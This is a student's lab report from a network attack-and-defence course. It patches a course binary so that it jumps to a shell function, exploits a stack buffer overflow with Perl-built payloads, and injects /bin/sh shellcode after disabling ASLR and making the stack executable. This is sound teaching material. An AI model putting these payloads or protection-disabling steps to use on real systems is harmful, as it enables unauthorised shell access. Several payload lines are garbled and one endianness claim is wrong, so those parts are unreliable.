zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解

    实践目的

    • 本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行Shellcode。

    基础知识

    NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果

    实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

      这张图是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!(如果我没理解错的话,实验二三就是让堆里的数据溢出到栈里吗。?)
    • 注入一个自己制作的shellcode并运行这段shellcode。

    任务一、直接修改程序机器指令,改变程序执行流程

    使用`objdump -d 20165314pwn1`将pwn1反汇编
    

    不难看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。
    如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff
    修改步骤如下:
    1.vim 20165314pwn1进入命令模式
    2.输入:%!xxd将显示模式切换为十六进制
    3.在底行模式输入/e8 d7定位需要修改的地方,并确认

    4.进入插入模式,修改d7c3

    5.输入:%!xxd -r将十六进制转换为原格式
    6.输入:wq保存并退出
    反汇编查看修改后的代码,发现call指令正确调用getShell

    运行修改后的代码,可以得到shell提示符

    任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

    实验思路:

    pwn2正常运行是调用函数foo,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。
    1、运行pwn2,打开另一个终端窗口进入gdb,在foo函数的ret指令处设置断点,回到pwn2运行的终端输入字串1111111122222222333333334444444455555555,观察一下各寄存器的值
    此时eip寄存器中的值为0x35353535,即5555的ASCII码。eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。

    2、将输入字符串的“55555555”改成“12345678”,此时寄存器eip的值,换算成ASCⅡ码刚好是1234。
    也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d,因无法通过键盘输入x7dx84x04x08这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)
    3、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input,由于kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的a表示回车换行。
    4、然后将input```,通过管道符“|”,作为pwn1的输入,格式为```(cat input; cat ) | ./pwn

    攻击成功

    任务三、注入Shellcode并运行攻击

    实验思路:注入shellcode使覆盖后的返回地址为shellcode()的起始地址

    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    • 首先使用apt-get install execstack命令安装execstack
      修改以下内容
    设置堆栈可执行 execstack -s pwn2
    查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”
    关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
    查询地址随机化是否关闭(0代表关闭,2代表开启)
    more /proc/sys/kernel/randomize_va_space
    

    3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)

    采用老师提供的shellcode 的代码x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00,
    用perl语言输入代码perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

    3.2确定返回地址的值

    将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2,打开另外一个终端,用gdb来调试pwn2ps -ef | grep pwn2确定pwn2的进程号

    • 启动gdb调试这个程序 gdb ,attach 3900
    • 设置断点来查看注入buf的内存地址disassemble foo
      ret的地址为 0x080484ae,ret执行完就会跳到我们覆盖的返回地址了
    • break *0x080484ae设置断点
    • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
    • 再在gdb调试的终端输入 c 继续运行程序
    • 通过info r esp查看esp寄存器的地址

      上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd28c + 0x00000004 = 0xffffd290
      退出gdb调试。
    • 修改注入代码的覆盖地址
      输入perl -e 'print "A" x 32;printt"x40xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
      执行程序,攻击成功

    实验中遇到问题及解决方法

    Q:下载的pwn1无法修改,提示权限不够
    A:输入chmod a+x pwn1修改权限即可,关于出现这个问题的原因我跟其他同学讨论了一下,得到的结论是64位的大段机器不能直接运行pwn,但是32位的小端机器可以直接运行,but..why?
    Q:注入修改后的shellcode之后运行pwn3提示段错误
    A:重新设置堆栈可执行
    Q:实验一中修改pwn1后无法运行
    A:在十六进制下修改pwn1文件之后要用%!xxd -r改回原来的格式
    PS:周一有同学问我pwn执行提示无法执行二进制文件,老师在群里说是没安装32位的库所以不兼容的问题,我拿做完实验二的pwn2试了一下也出现这种问题,所以我以为是注入的代码会对程序本身造成破坏 ,但是我第二天把初始pwn1重新做了一遍就没出现这种情况

    实验收获与感想

    收获:进一步理解了缓存溢出的过程与危害,学会了利用BOF漏洞进行攻击,自己上手操作还是会有很多细节做得不对或者不懂,还是应该多问问老师和其他同学

    什么是漏洞?有什么危害

    emmm看到这个问题我愣了一下,就这么让我描述我有点懵,复制一句我百度到的,“漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。”其实这里说的破坏并不只是指实体层次的破坏,也有可能是功能层面的破坏,就比如说我们学过的SYNFLOOD攻击,利用TCP协议等待响应包的漏洞,使得目标机无法响应正常包,而目标机器本身并没有被破坏。漏洞的危害一句话说就是被攻击者会执行未授权的服务,或无法执行已授权的服务,例如,无法正常响应收到的包,又或者是访问者可以访问未收钱的数据等等。

  • 相关阅读:
    Windows开启telnet服务 + 连接失败处理
    注册表比较工具
    wmic命令
    python netifaces模块
    【转】wireshark基本用法及过虑规则
    设置Intel网卡以抓取报文的vlan tag
    【转】 中兴OLT-C300常用命令
    Iris分类以及数组reshape想到的
    关于plot画图的原理
    Python的rand vs randn以及linspace
  • 原文地址:https://www.cnblogs.com/zhangshuai9345/p/10506305.html
Copyright © 2011-2022 走看看